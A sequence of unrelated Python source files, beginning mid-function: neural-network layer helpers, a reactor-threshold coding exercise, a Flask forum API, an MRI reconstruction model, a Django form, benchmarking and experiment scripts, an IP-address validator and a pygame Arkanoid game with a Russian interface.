        translation_matrix = matrix.create_translation_matrix(-self.position[0], -self.position[1], -self.position[2])

        self.view_matrix = rotation_x_matrix.dot(rotation_y_matrix).dot(translation_matrix)


import numpy as np
import tensorflow as tf
from tensorflow.contrib.layers import batch_norm

def conv2d_cus(input_, output_dim, k_size=3, stride=2, stddev=0.02, name="conv2d", zero_init=False):
    with tf.variable_scope(name):
        if zero_init:
            initializer = tf.zeros_initializer()
        else:
            initializer = tf.truncated_normal_initializer(stddev=stddev)
        w = tf.get_variable('w', [k_size, k_size, input_.get_shape()[-1], output_dim],
                            initializer=initializer)
        conv = tf.nn.conv2d(input_, w, strides=[1, stride, stride, 1], padding='SAME')

        biases = tf.get_variable('biases', [output_dim], initializer=tf.constant_initializer(0.0))
        conv = tf.nn.bias_add(conv, biases)
        return conv

# modified code from https://github.com/openai/improved-gan/blob/master/imagenet/ops.py
def conv_transpose(input_, output_shape, k_h=5, k_w=5, d_h=2, d_w=2, stddev=0.02,
                   name="deconv2d", with_w=False, init_bias=0):
    with tf.variable_scope(name):
        w = tf.get_variable('w', [k_h, k_w, output_shape[-1], input_.get_shape()[-1]],
                            initializer=tf.random_normal_initializer(stddev=stddev))

        deconv = tf.nn.conv2d_transpose(input_, w, output_shape=output_shape,
                                        strides=[1, d_h, d_w, 1])
        biases = tf.get_variable('biases', [output_shape[-1]], initializer=tf.constant_initializer(init_bias))
        deconv = tf.reshape(tf.nn.bias_add(deconv, biases), deconv.get_shape())

        if with_w:
            return deconv, w, biases
        else:
            return deconv

# modified code from https://github.com/wenxinxu/resnet-in-tensorflow/blob/master/resnet.py
def residual_block(input_layer, output_channel, first_block=False, block_num=None,
                   avg_pool_add=True, is_training=True, zero_init=False, core=False):
    """
    Defines a residual block in ResNet
    :param zero_init: init weights for convolution as zeros
    :param core: add a core prefix in scope
    :param is_training: if network is currently training
    :param avg_pool_add: boolean to determine if the function do a residual avg pool addition if the dimension is changed
    :param block_num: number of the block (used for naming scope)
    :param input_layer: 4D tensor
    :param output_channel: int. return_tensor.get_shape()[-1] = output_channel
    :param first_block: if this is the first residual block of the whole network
    :return: 4D tensor.
    """

    block_num = "_" + x_str(block_num)
    n, h, w, input_channel = input_layer.get_shape().as_list()

    if core:
        scope_name = "core_" + "block" + block_num
    else:
        scope_name = "block" + block_num

    with tf.variable_scope(scope_name, reuse=tf.AUTO_REUSE):
        # When it's time to "shrink" the image size, we use stride =
        # output channel can be >= input channel since the first block would go from 3 to 64
        if input_channel * 2 <= output_channel:
            increase_dim = True
            stride = 2
        elif input_channel == output_channel:
            increase_dim = False
            stride = 1
        else:
            raise ValueError('Output and input channel does not match in residual blocks!!!')

        # The first conv layer of the first residual block does not need to be normalized and relu-ed.
        with tf.variable_scope('conv1_in_block' + block_num):
            if first_block:
                std_dev = tf.sqrt(2 / tf.reduce_prod(tf.cast(input_layer.get_shape()[1:], dtype=tf.float32)))
                conv1 = conv2d_cus(input_layer, output_channel, name='conv2d_1', stride=stride, k_size=3,
                                   stddev=std_dev, zero_init=zero_init)
            else:
                std_dev = tf.sqrt(2 / tf.reduce_prod(tf.cast(np.array([h, w, output_channel]), dtype=tf.float32)))
                conv1 = tf.nn.relu(batch_norm(conv2d_cus(input_layer, output_channel, name='conv2d_1', stddev=std_dev,
                                                         k_size=3, stride=stride, zero_init=zero_init),
                                              is_training=is_training, scope="bn1"))

        with tf.variable_scope('conv2_in_block' + block_num):
            std_dev = tf.sqrt(2 / tf.reduce_prod(tf.cast(np.array([h, w, output_channel]), dtype=tf.float32)))
            conv2 = tf.nn.relu(batch_norm(conv2d_cus(conv1, output_channel, name='conv2d_2', stddev=std_dev,
                                                     k_size=3, stride=1, zero_init=zero_init),
                                          is_training=is_training, scope="bn2"))

        if first_block or (not avg_pool_add and increase_dim):
            return conv2

        # When the channels of input layer and conv2 does not match, we add zero pads to increase the
        #  depth of input layers
        if increase_dim:
            pooled_input = tf.nn.avg_pool(input_layer, ksize=[1, 2, 2, 1],
                                          strides=[1, 2, 2, 1], padding='VALID')
            residual_orig_input = tf.pad(pooled_input, [[0, 0], [0, 0], [0, 0], [input_channel // 2,
                                                                                input_channel // 2]])
        else:
            residual_orig_input = input_layer

        output = conv2 + residual_orig_input
        return output

def x_str(s):
    if s is None:
        return ''
    return str(s)

def dense(x, output_features, name="dense"):
    with tf.variable_scope(name, reuse=tf.AUTO_REUSE):
        return tf.layers.dense(x, output_features)


""" Meltdown Mitigation exercise """

def is_criticality_balanced(temperature, neutrons_emitted):
    """Verify criticality is balanced.

    :param temperature: temperature value (integer or float)
    :param neutrons_emitted: number of neutrons emitted per second (integer or float)
    :return:  boolean True if conditions met, False if not

    A reactor is said to be critical if it satisfies the following conditions:
    - The temperature is less than 800.
    - The number of neutrons emitted per second is greater than 500.
    - The product of temperature and neutrons emitted per second is less than 500000.
    """

    return temperature < 800 and neutrons_emitted > 500 and temperature * neutrons_emitted < 500000

def reactor_efficiency(voltage, current, theoretical_max_power):
    """Assess reactor efficiency zone.

    :param voltage: voltage value (integer or float)
    :param current: current value (integer or float)
    :param theoretical_max_power: power that corresponds to a 100% efficiency (integer or float)
    :return: str one of 'green', 'orange', 'red', or 'black'

    Efficiency can be grouped into 4 bands:

    1. green -> efficiency of 80% or more,
    2. orange -> efficiency of less than 80% but at least 60%,
    3. red -> efficiency below 60%, but still 30% or more,
    4. black ->  less than 30% efficient.

    The percentage value is calculated as
    (generated power/ theoretical max power)*100
    where generated power = voltage * current
    """

    efficiency = voltage * current / theoretical_max_power
    if efficiency >= 0.8:
        return 'green'
    if efficiency >= 0.6:
        return 'orange'
    if efficiency >= 0.3:
        return 'red'
    return 'black'

def fail_safe(temperature, neutrons_produced_per_second, threshold):
    """Assess and return status code for the reactor.

    :param temperature: value of the temperature (integer or float)
    :param neutrons_produced_per_second: neutron flux (integer or float)
    :param threshold: threshold (integer or float)
    :return: str one of: 'LOW', 'NORMAL', 'DANGER'

    - `temperature * neutrons per second` < 90% of `threshold` == 'LOW'
    - `temperature * neutrons per second` +/- 10% of `threshold` == 'NORMAL'
    - `temperature * neutrons per second` is not in the above-stated ranges ==  'DANGER'
    """

    criticality = temperature * neutrons_produced_per_second
    threshold_low = threshold * 0.9
    threshold_high = threshold * 1.1

    if criticality < threshold_low:
        return 'LOW'
    if threshold_low <= criticality <= threshold_high:
        return 'NORMAL'
    return 'DANGER'


from flask import request, g
from flask_restful import Resource, reqparse

from app_config import auth, database
from app_utils import AppUtils
from common.constants.response_code import ResponseClass, ResponseCode

class ThreadsHandler(Resource):
    parser = reqparse.RequestParser()
    page_num_per_request = 10  # 每次返回10篇

    def __init__(self):
        self.parser.add_argument('page')

    # 发布帖子
    @auth.login_required
    def post(self):
        code_id = request.json.get('code_id', None)
        title = request.json.get('title', None)
        subtitile = request.json.get('subtitle', '')
        from app.database_models import Threads
        if not Threads.verify_title(title):
            return ResponseClass.warn(ResponseCode.FORMAT_ERROR)
        thread = Threads()
        thread.user_id = g.user.id
        thread.title = title
        thread.code_id = code_id
        thread.subtitle = subtitile
        AppUtils.add_to_sql(thread).close()
        return ResponseClass.ok()

    @auth.login_required
    # 获取最新帖子，一页10篇
    def get(self):
        args = self.parser.parse_args()
        page_num = int(args.get('page', None))
        if page_num is None or type(page_num) != int or page_num <= 0:
            return ResponseClass.warn(ResponseCode.FORMAT_ERROR)
        # 将page_num-1，适应计算
        page_num = page_num - 1
        session = AppUtils.get_session()
        try:
            from app.database_models import Threads
            threads = session.query(Threads).order_by(database.desc(Threads.id)).offset(
                page_num * self.page_num_per_request).limit(
                self.page_num_per_request).all()
            threads = [tr.get_public_dict() for tr in threads]
            return ResponseClass.ok_with_data(threads)
        finally:
            session.close()

# 获取用户自身的帖子
class GetUserThread(Resource):
    parser = reqparse.RequestParser()
    page_num_per_request = 10  # 每次返回10篇

    def __init__(self):
        self.parser.add_argument('page')

    @auth.login_required
    def get(self):
        args = self.parser.parse_args()
        page_num = int(args.get('page', None))
        if page_num is None or type(page_num) != int or page_num <= 0:
            return ResponseClass.warn(ResponseCode.FORMAT_ERROR)
        # 将page_num-1，适应计算
        page_num = page_num - 1
        session = AppUtils.get_session()
        from app.database_models import Threads
        threads = session.query(Threads).filter_by(user_id=g.user.id).offset(
            page_num * self.page_num_per_request).limit(
            self.page_num_per_request).all()
        threads = [tr.get_public_dict() for tr in threads]
        return ResponseClass.ok_with_data(threads)

# 删帖
class DeleteThread(Resource):

    @auth.login_required
    def post(self):
        from app_config import USER_ROLE_ADMIN
        from app.database_models import Threads
        if g.user.role == USER_ROLE_ADMIN:
            # 系统删帖
            t_id = request.json.get('thread_id', None)
            session = AppUtils.get_session()
            try:
                th = session.query(Threads).filter_by(id=t_id).first()
                if th is None:
                    return ResponseClass.warn(ResponseCode.THREAD_NOT_EXIST)
                session.delete(th)
                session.commit()
                return ResponseClass.ok()
            finally:
                session.close()
        else:
            t_id = request.json.get('thread_id', None)
            session = AppUtils.get_session()
            th = session.query(Threads).filter_by(user_id=g.user.id, id=t_id).first()
            if th is None:
                return ResponseClass.warn(ResponseCode.THREAD_NOT_EXIST)
            AppUtils.delete_to_sql(th).close()
            return ResponseClass.ok()


import sys
import pathlib as pb
from typing import List, Dict, Union

import torch
import torch.nn.functional as F
import numpy as np
import matplotlib.pyplot as plt
from torch import nn

DIR_PATH = pb.Path(__file__).resolve().parent
sys.path.append(str(DIR_PATH))
import custom_layers

class BaseStylishFastMRI(nn.Module):
    def __init__(
        self
        , block_kwargs_list: List[Dict]
        , block_name: str='DataConsistedStylishUNet'
        , iterative_type: str='unrolled'
        , num_iterations: int=1
    ) -> None:

        super().__init__()

        block_fn = getattr(custom_layers, block_name)

        self.rec_blocks = nn.ModuleList([
            block_fn(**kwargs)
            for kwargs in block_kwargs_list
        ])

        self.iterative_type = iterative_type
        self.num_iterations = num_iterations

    def forward(
        self
        , image: torch.Tensor
        , known_freq: torch.Tensor
        , mask: torch.Tensor
        , texture: torch.Tensor=None
        , is_deterministic: bool=False
    ) -> torch.Tensor:

        # In case of unrolled reconstruction, sequentially apply reconstruction blocks.
        # Apply data consistency between recon blocks
        if self.iterative_type == 'unrolled':
            for _ in range(self.num_iterations):
                for block in self.rec_blocks:
                    image = block(image, known_freq, mask, texture, is_deterministic=is_deterministic)

        # In case of unrolled reconstruction, apply the same recon block 'self.num_iterations' times.
        # Apply data consistency between recon blocks
        elif self.iterative_type == 'rolled':
            block = self.rec_blocks[0]
            for _ in range(self.num_iterations):
                image = block(image, known_freq, mask, texture, is_deterministic=is_deterministic)

        return image


import datetime

from django import forms
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from axpay.money import models as money_models
from axpay.money import utils as money_utils

class ContributorFilterForm(forms.Form):
    placeholders = {
        'user_search': _("user"),
    }

    user_search = forms.CharField(
        label=_("Payer name"),
        required=False,
        initial='',
    )
    product = forms.ModelChoiceField(
        label=_("Contains product"),
        queryset=money_models.Product.objects,
        empty_label=_("(Any product)"),
        required=False,
    )

    def __init__(self, *args, **kwargs):
        super(ContributorFilterForm, self).__init__(*args, **kwargs)
        for field_name, placeholder in self.placeholders.items():
            self.fields[field_name].widget.attrs['placeholder'] = placeholder

    def filter(self, qs, initial=True):
        data = getattr(self, 'cleaned_data', {})

        if data.get('product'):
            qs = qs.filter(ordered_items__product_price__product=data['product'])
        if data.get('user_search'):
            lookup = data['user_search']
            qs = qs.filter(full_name__icontains=lookup)

        return qs.distinct()


import json
import os
import sys

import matplotlib.pyplot as plt
import seaborn as sns
import pandas as pd

from exprimo.benchmarking.benchmark import benchmark_all_placements
from exprimo.optimize import optimize_with_config
from exprimo.utils.convert_nets_to_placements import convert_to_placement
from exprimo import PLOT_STYLE

sns.set(style=PLOT_STYLE)

config_path = 'configs/experiments/e2_ga-malvik-alexnet.json'
model_type = 'alexnet'
batches = 50
NORMALIZE_PLOT = True
PLOT_INDIVIDUAL = False
DROP_LAST_DATASET_BATCH = True

if len(sys.argv) > 1:
    config_path = sys.argv[1]

if __name__ == '__main__':
    # Force checkpointing to occur every 5th generation
    with open(config_path) as f:
        config = json.load(f)
    config['optimizer_args']['checkpoint_period'] = 2

    DROP_LAST_DATASET_BATCH = config.get('drop_last_dataset_batch', DROP_LAST_DATASET_BATCH)

    log_dir = os.path.expanduser(config['log_dir'])

    # Create a set of configurations by running an optimization process with checkpointing
    optimize_with_config(config=config, set_log_dir=True)

    # Convert all configurations to placements for benchmarking
    convert_to_placement(os.path.join(log_dir, 'checkpoints'), os.path.join(log_dir, 'checkpoints', 'placements'))

    # Benchmark all the placements that were created above
    benchmark_all_placements(os.path.join(log_dir, 'checkpoints', 'placements'), os.path.join(log_dir, 'batch_times.csv'),
                             model_type, batches=batches, drop_batches=0, drop_last=DROP_LAST_DATASET_BATCH)

    # Load and plot benchmark results
    def plot_times(data, title, output_file=None):
        plt.plot(data)
        plt.xlabel('Batch')
        if NORMALIZE_PLOT:
            plt.ylabel('Residual batch training time (fraction of mean)')
        else:
            plt.ylabel('Batch training time (ms)')
        plt.title(title)

        if output_file:
            plt.savefig(output_file, bbox_inches='tight')

        plt.show()
        plt.close()

    batch_times = pd.read_csv(os.path.join(log_dir, 'batch_times.csv'), header=None, index_col=0)
    if NORMALIZE_PLOT:
        means = batch_times.mean(axis=1)
        batch_times = batch_times.sub(means, axis=0).divide(means, axis=0)

    if PLOT_INDIVIDUAL:
        for i in range(batch_times.shape[0]):
            generation = batch_times.index[0].replace('gen_', '').replace('.json', '')
            times = batch_times.iloc[i, 1:]

            output_file = os.path.join(log_dir, 'batch_training_time', f'gen_{generation}.pdf')

            plot_times(times, f'Generation {generation}', output_file)
    else:
        avg_batch_times = batch_times.mean(axis=0)
        plot_times(avg_batch_times, 'Average batch time residuals',
                   output_file=os.path.join(log_dir, 'batch_times.pdf'))


def GetIpaddress():
    while True:
        try:
            ip = input("Please enter an IP address:")
            if "." in ip:
                test = ip.split(".")
            else:
                raise ValueError("You need to enter . to seperate the input IP")
            if len(test) !=4:
                raise ValueError ("Not a valid IP, the length of IP is not a legitimate length")
            if test[0] == 0:
                raise ValueError("0 can not be used as the first number in IP address")
            for x in test:
                x = int(x)
                if x >255 or x <0:
                    raise ValueError("The number is not in the valid IP range")
            print (ip)
            return ip
        except ValueError as err:
            print(err)
GetIpaddress()


from norby.utils import norby
from sklearn.model_selection import ParameterGrid

from mmvae_hub.mimic.MimicTrainer import MimicTrainer
from mmvae_hub.mimic.experiment import MimicExperiment
from mmvae_hub.mimic.flags import MimicFlagsSetup
from mmvae_hub.mimic.flags import parser
from mmvae_hub.utils.setup.flags_utils import get_config_path

sp_mopoe_mimic = {
    'method': ['mopoe'],
    'beta': [2.],
    'class_dim': [640],
    # "num_mods": [1],
    # "num_flows": [5],
    "initial_learning_rate": [5e-04],
    "end_epoch": [150],
    "eval_freq": [150],
    "beta_warmup": [0],
    # "batch_size":[64]
    # "coupling_dim": [512],
}

search_spaces_1 = {
    'mods': ['F_L_T'],
    # 'method': ['moe'],
    'method': ['mopoe'],
    "initial_learning_rate": [0.0009253348001968961],
    'class_dim': [640],
    "min_beta": [0],
    "max_beta": [1.5142062143401498],
    "beta_warmup": [50],
    "num_gfm_flows": [3],
    "coupling_dim": [32],
    "num_mods": [3],
    "end_epoch": [250],
}

search_spaces_amortized = {
    'method': ['iwmogfm_amortized'],
    "initial_learning_rate": [0.0005],
    'class_dim': [512],
    "min_beta": [0],
    "dataloader_workers": [16],
    "max_beta": [0.],
    "beta_start_epoch": [0.],
    "beta_warmup": [50],
    # "num_gfm_flows": [3],
    # "coupling_dim": [32],
    "coupling_dim": [64],
    "num_gfm_flows": [3],
    "nbr_coupling_block_layers": [8],
    "end_epoch": [150],
    "calc_nll": [False],
    "K": [1],
    "eval_freq": [150],
}

if __name__ == '__main__':

    for grid in [sp_mopoe_mimic]:
        for sp in ParameterGrid(grid):
            # for _ in [1]:
            flags = parser.parse_args()
            flags_setup = MimicFlagsSetup(get_config_path(dataset='mimic', flags=flags))
            flags = flags_setup.setup(flags, additional_args=sp)
            with norby(f'Starting Experiment {flags.experiment_uid}.', f'Experiment {flags.experiment_uid} finished.'):
                mst = MimicExperiment(flags)
                mst.set_optimizer()
                trainer = MimicTrainer(mst)
                trainer.run_epochs()


import pygame
import random
import pygame_menu
import string

WHITE = (255, 255, 255)

class Brick(pygame.sprite.Sprite):
    """Draw Brick"""

    def __init__(self, x, y, color):
        pygame.sprite.Sprite.__init__(self)
        self.x = x
        self.y = y
        if color == 1:
            self.image = pygame.image.load("sprites/Brick_green.png")
        if color == 2:
            self.image = pygame.image.load("sprites/Brick_red.png")
        if color == 3:
            self.image = pygame.image.load("sprites/Brick_yellow.png")
        if color == 4:
            self.image = pygame.image.load("sprites/Brick_blue.png")
        self.image = pygame.transform.scale(self.image, (70, 30)).convert_alpha()
        self.rect = self.image.get_rect()
        self.rect.x = self.x
        self.rect.y = self.y

    def update(self):
        self.rect = self.image.get_rect()
        self.rect.x = self.x
        self.rect.y = self.y

class Bar(pygame.sprite.Sprite):
    """Draw Player"""

    def __init__(self, x, y):
        pygame.sprite.Sprite.__init__(self)
        self.x = x
        self.y = y
        self.size_x = 70
        self.check_pow_1 = 0
        self.image = pygame.image.load("sprites/Bar_image.png")
        self.image = pygame.transform.scale(self.image, (self.size_x, 20))
        self.rect = self.image.get_rect()
        self.rect.x = self.x
        self.rect.y = self.y
        self.power_time = pygame.time.get_ticks()

    def update(self):
        if (self.check_pow_1 == 90 or self.check_pow_1 == 50) and pygame.time.get_ticks() - self.power_time > 10000:
            self.check_pow_1 = 0
            self.size_x = 70
            self.image = pygame.image.load("sprites/Bar_image.png")
            self.image = pygame.transform.scale(self.image, (self.size_x, 20))
            self.rect = self.image.get_rect()
            self.power_time = pygame.time.get_ticks()
            powerup_sound_done.play()
        self.rect = self.image.get_rect()
        self.rect.x = self.x
        self.rect.y = self.y

    def big_bar(self):
        self.check_pow_1 = 90
        self.image = pygame.image.load("sprites/big_bar.png")
        self.image = pygame.transform.scale(self.image, (90, 20))
        self.rect = self.image.get_rect()
        self.power_time = pygame.time.get_ticks()

    def small_bar(self):
        self.check_pow_1 = 50
        self.image = pygame.image.load("sprites/small_bar.png")
        self.image = pygame.transform.scale(self.image, (50, 20))
        self.rect = self.image.get_rect()
        self.power_time = pygame.time.get_ticks()

    def reset(self):
        self.x = 215
        self.y = 480
        self.size_x = 70
        self.image = pygame.transform.scale(self.image, (self.size_x, 20))
        self.rect = self.image.get_rect()

class Ball(pygame.sprite.Sprite):
    """Draw Ball"""
    def __init__(self, x, y):
        pygame.sprite.Sprite.__init__(self)
        self.x = x
        self.y = y
        self.ball_x = "left"
        self.ball_y = "up"
        self.speed = 2
        self.image = pygame.image.load("sprites/ball.png")
        self.image = pygame.transform.scale(self.image, (12, 12)).convert_alpha()
        self.rect = self.image.get_rect()
        self.moving = False
        self.power_time = pygame.time.get_ticks()

    def update(self):
        """The ball moves"""
        if (self.speed == 4 or self.speed == 1) and pygame.time.get_ticks() - self.power_time > 10000:
            self.speed = 2
            self.power_time = pygame.time.get_ticks()
            powerup_sound_done.play()

        if not self.moving:
            self.x = bar.rect.centerx - 4
        else:
            if self.ball_x == "left":
                self.x -= self.speed
                if self.x < 3:
                    self.ball_x = "right"
                    pong_bar_sound.play()
            if self.ball_y == 'down':
                self.y += self.speed
            if self.ball_y == 'up':
                self.y -= self.speed
                if self.y < 3:
                    self.ball_y = 'down'
                    pong_bar_sound.play()
            if self.ball_x == "right":
                self.x += self.speed
                if self.x > 490:
                    self.ball_x = "left"
                    pong_bar_sound.play()
        self.rect = self.image.get_rect()
        self.rect.x = ball.x
        self.rect.y = ball.y

    def start(self):
        self.moving = True

    def get_self_moving(self):
        return self.moving

    def get_speed(self):
        return self.speed

    def get_ball_y(self):
        return self.ball_y

    def set_ball_y(self, ball_y):
        self.ball_y = ball_y

    def get_ball_x(self):
        return self.ball_x

    def set_ball_x(self, ball_x):
        self.ball_x = ball_x

    def move_faster(self):
        self.speed = 4
        self.power_time = pygame.time.get_ticks()

    def move_slover(self):
        self.speed = 1
        self.power_time = pygame.time.get_ticks()

    def reset(self):
        self.x = 25
        self.y = 471
        self.speed = 2
        self.moving = False
        self.ball_x = "left"

class Pow(pygame.sprite.Sprite):
    """Power ups"""

    def __init__(self, center):
        pygame.sprite.Sprite.__init__(self)
        self.type = random.choice(['slower', 'faster', 'big_bar', 'small_bar', 'x2'])
        self.image = powerup_images[self.type]
        self.rect = self.image.get_rect()
        self.rect.center = center
        self.speedy = 2

    def update(self):
        self.rect.y += self.speedy
        if self.rect.top > 500:
            self.kill()

class Score:
    def __init__(self):
        self.score = 0
        self.plus_score = 20
        self.power_time = pygame.time.get_ticks()

    def get_score(self):
        return self.score

    def plus(self):
        self.score += self.plus_score

    def double_score(self):
        self.plus_score = 40
        self.power_time = pygame.time.get_ticks()

    def check_time(self):
        if self.plus_score == 40 and pygame.time.get_ticks() - self.power_time > 10000:
            self.plus_score = 20
            self.power_time = pygame.time.get_ticks()
            powerup_sound_done.play()

    def reset(self):
        self.score = 0

class Update_sprites:
    def __init__(self):
        self.all_sprites = pygame.sprite.Group()
        self.i = 0
        self.lvls = ['levels/lvl1', 'levels/lvl2', 'levels/lvl3',
                     'levels/lvl4', 'levels/lvl5', 'levels/lvl6',
                     'levels/lvl7', 'levels/lvl8', 'levels/lvl9', 'levels/lvl10']
        self.brick = None

    def new_lvl(self):
        self.all_sprites = pygame.sprite.Group()
        bar.reset()
        ball.reset()
        self.brick = create_bricks(self.lvls.pop(0))
        self.all_sprites.add(self.brick, ball, bar)
        self.print_new_lvl()

    def print_new_lvl(self):
        self.i += 1

    def print_lvl(self):
        return draw_text(screen, f'Level {self.i}', 18, 90 / 2, 9)

    def get_sprites(self):
        return self.all_sprites

    def get_brick(self):
        return self.brick

    def reset(self):
        self.all_sprites = pygame.sprite.Group()
        self.brick = None
        self.i = 0
        self.lvls = ['levels/lvl1', 'levels/lvl2', 'levels/lvl3',
                     'levels/lvl4', 'levels/lvl5', 'levels/lvl6',
                     'levels/lvl7', 'levels/lvl8', 'levels/lvl9', 'levels/lvl10']

    def get_lvls(self):
        return self.lvls

def collision():
    if ball.rect.colliderect(bar):
        if ball.y <= bar.y:
            ball.set_ball_y("up")
        else:
            if ball.get_ball_x() == "left":
                ball.set_ball_x("right")
            else:
                ball.set_ball_x("left")
        if ball.get_self_moving():
            pong_bar_sound.play()

    for n, brick in enumerate(spr.get_brick()):
        if ball.rect.colliderect(brick):
            score.plus()
            pong_sound.play()
            if random.random() > 0.8:
                pow = Pow(brick.rect.center)
                spr.get_sprites().add(pow)
                powerups.add(pow)
            if ball.get_ball_y() == "up":
                if ball.y >= (brick.y + 20):
                    ball.set_ball_y("down")
                else:
                    if ball.get_ball_x() == "left":
                        ball.set_ball_x("right")
                    else:
                        ball.set_ball_x("left")
            else:
                if ball.y <= brick.y:
                    ball.set_ball_y("up")
                else:
                    if ball.get_ball_x() == "left":
                        ball.set_ball_x("right")
                    else:
                        ball.set_ball_x("left")
            spr.get_brick().pop(n)
            brick.kill()
            if not spr.get_brick():
                if len(spr.get_lvls()) > 0:
                    print_new_lvl()
                    spr.new_lvl()
                else:
                    input_leaderboard()

    if ball.y > 500:
        input_leaderboard()

def collision_powerups():
    hits = pygame.sprite.spritecollide(bar, powerups, True)
    for hit in hits:
        if hit.type == 'faster':
            ball.move_faster()
            powerup_sound.play()
        if hit.type == 'slower':
            ball.move_slover()
            powerup_sound.play()
        if hit.type == 'big_bar':
            bar.big_bar()
            powerup_sound.play()
        if hit.type == 'small_bar':
            bar.small_bar()
            powerup_sound.play()
        if hit.type == 'x2':
            score.double_score()
            powerup_sound.play()

def exit_game(even, loo):
    if even.type == pygame.QUIT:
        loo = 0
    if even.type == pygame.KEYUP:
        if even.key == pygame.K_ESCAPE:
            pause()
    return loo

def create_bricks(name_lvl):
    with open(name_lvl, 'r') as f:
        file_blocks = f.read().splitlines()[0:]
    bricks = []
    h = 30
    w = 0
    for line in file_blocks:
        for brick in line:
            if brick == "1":
                bricks.append(Brick(20 + w * 100, h, 1))
            elif brick == "2":
                bricks.append(Brick(20 + w * 100, h, 2))
            elif brick == "3":
                bricks.append(Brick(20 + w * 100, h, 3))
            elif brick == "4":
                bricks.append(Brick(20 + w * 100, h, 4))
            w += 1
            if w == 5:
                w = 0
                h += 50
    return bricks

def show_bricks():
    for brick in spr.get_brick():
        brick.update()

def reset_data():
    ball.reset()
    bar.reset()
    spr.reset()
    score.reset()

font_name = pygame.font.match_font('arial')
def draw_text(surf, text, size, x, y):
    font = pygame.font.Font(font_name, size)
    text_surface = font.render(text, True, WHITE)
    text_rect = text_surface.get_rect()
    text_rect.midtop = (x, y)
    surf.blit(text_surface, text_rect)

def print_new_lvl():
    def disable():
        menu.disable()
    menu = pygame_menu.Menu('', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    menu.add.label("Новый уровень!", max_char=-1, font_size=30)
    menu.add.button("Продолжить", disable)
    menu.mainloop(screen)

num = 0
powerups = pygame.sprite.Group()
score = Score()
pygame.init()
clock = pygame.time.Clock()
screen = pygame.display.set_mode((500, 500))
pygame.display.set_caption("Game")
spr = Update_sprites()
bar = Bar(215, 480)
ball = Ball(25, 471)

"""Images"""
background_grey = pygame.image.load("background/grey.jpg")
background = pygame.image.load("background/space.jpg")
image_1 = pygame.image.load("sprites/slower.png")
image_2 = pygame.image.load("sprites/faster.png")
image_3 = pygame.image.load("sprites/Bar_image.png")
image_4 = pygame.image.load("sprites/Bar_image.png")
image_5 = pygame.image.load("sprites/x2.png")

powerup_images = {'slower': pygame.transform.scale(image_1, (25, 25)).convert_alpha(),
                  'faster': pygame.transform.scale(image_2, (25, 25)).convert_alpha(),
                  'big_bar': pygame.transform.scale(image_3, (50, 10)).convert_alpha(),
                  'small_bar': pygame.transform.scale(image_4, (20, 10)).convert_alpha(),
                  'x2': pygame.transform.scale(image_5, (25, 25)).convert_alpha()}
"""Images"""

"""Sounds"""
pong_sound = pygame.mixer.Sound('sound/pong.wav')
pong_bar_sound = pygame.mixer.Sound('sound/pong_bar.wav')
powerup_sound = pygame.mixer.Sound('sound/powerup.wav')
powerup_sound_done = pygame.mixer.Sound('sound/powerup_done.wav')
pygame.mixer.music.load('sound/music.mp3')
pygame.mixer.music.set_volume(0.4)
pygame.mixer.music.play(loops=-1)
"""Sounds"""

def reference():
    def disable():
        menu.disable()
    menu = pygame_menu.Menu('Справка', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    menu.add.label("Добро пожаловать в игру Arkanoid. \nДля управления платформой "
                   "\nнажимайте клавиши A и D, для \nзапуска шарика нажмите пробел.\n"
                   "Чтобы победить надо пройти все уровни. \nА так же набирайте больше очков,\n"
                   "чтобы быть в топе лидеров", max_char=-1, font_size=17)
    menu.add.button("Назад", disable)
    menu.mainloop(screen)

def leaderboard():
    menu = pygame_menu.Menu('Таблица лидеров', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    table = menu.add.table(table_id='my_table', font_size=30)
    table.default_cell_padding = 5
    table.default_row_background_color = 'red'
    table.add_row(['Никнейм', 'Счет'], cell_font=pygame_menu.font.FONT_OPEN_SANS_BOLD)

    def disable():
        menu.disable()

    with open("data", 'r') as f:
        file_blocks = f.read().splitlines()[0:]

    def add_row(list_data):
        data_dict = dict()
        for item in list_data:
            key = item.split(" ")[0]
            value = item.split(" ")[1]
            data_dict[key] = int(value)
        a = (sorted(data_dict.items(), reverse=True, key=lambda kv: (kv[1], kv[0])))
        for key, value in a:
            mas = [key, value]
            table.add_row(mas)

    add_row(file_blocks)
    menu.add.button("Назад", disable)
    menu.mainloop(screen)

def input_leaderboard():
    menu = pygame_menu.Menu('Ввод данных', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    check = False

    def disable():
        menu.disable()
        start_menu()

    def contains_whitespace(s):
        return True in [c in s for c in string.whitespace]

    def check_name(value):
        if not value.strip() or contains_whitespace(value):
            warning()
        else:
            file = open("data", "a")
            file.write(f"\n{value} {score.get_score()}")
            file.close()
            disable()
    if check:
        warning()
    menu.add.text_input('Никнейм: ', maxchar=10, input_underline='_', onreturn=check_name)
    menu.add.button("Назад", disable)
    menu.mainloop(screen)

def warning():
    def disable():
        input_leaderboard()
    menu = pygame_menu.Menu('Предупреждение', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    menu.add.label("Ник содержит пробелы, или \nпустую строку, уберите их", font_size=30)
    menu.add.button("Назад", disable)
    menu.mainloop(screen)

def pause():
    def back():
        start_menu()

    def disable():
        menu.disable()
    menu = pygame_menu.Menu('Пауза', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    menu.add.button("Продолжить", disable)
    menu.add.button("Выход", back)
    menu.mainloop(screen)

def start_game():
    pygame.mouse.set_visible(False)
    reset_data()
    spr.new_lvl()
    loop = 1
    while loop:
        screen.blit(background, (0, 0))
        keystate = pygame.key.get_pressed()
        for event in pygame.event.get():
            loop = exit_game(event, loop)
        if keystate[pygame.K_a] and bar.rect.left > 0:
            bar.x -= 8
        if keystate[pygame.K_d] and bar.rect.right <= 500:
            bar.x += 8
        if keystate[pygame.K_SPACE]:
            ball.start()
        bar.update()
        ball.update()
        powerups.update()
        score.check_time()
        collision()
        show_bricks()
        collision_powerups()
        spr.get_sprites().draw(screen)
        draw_text(screen, str(score.get_score()), 18, 510 / 2, 10)
        spr.print_lvl()
        pygame.display.update()
        clock.tick(120)

def start_menu():
    menu_main = pygame_menu.Menu('Добро пожаловать', 500, 500, theme=pygame_menu.themes.THEME_DARK)
    menu_main.add.button('Начать игру', start_game)
    menu_main.add.button('Таблица лидеров', leaderboard)
    menu_main.add.button('Справка', reference)
    menu_main.add.button('Выход', pygame_menu.events.EXIT)
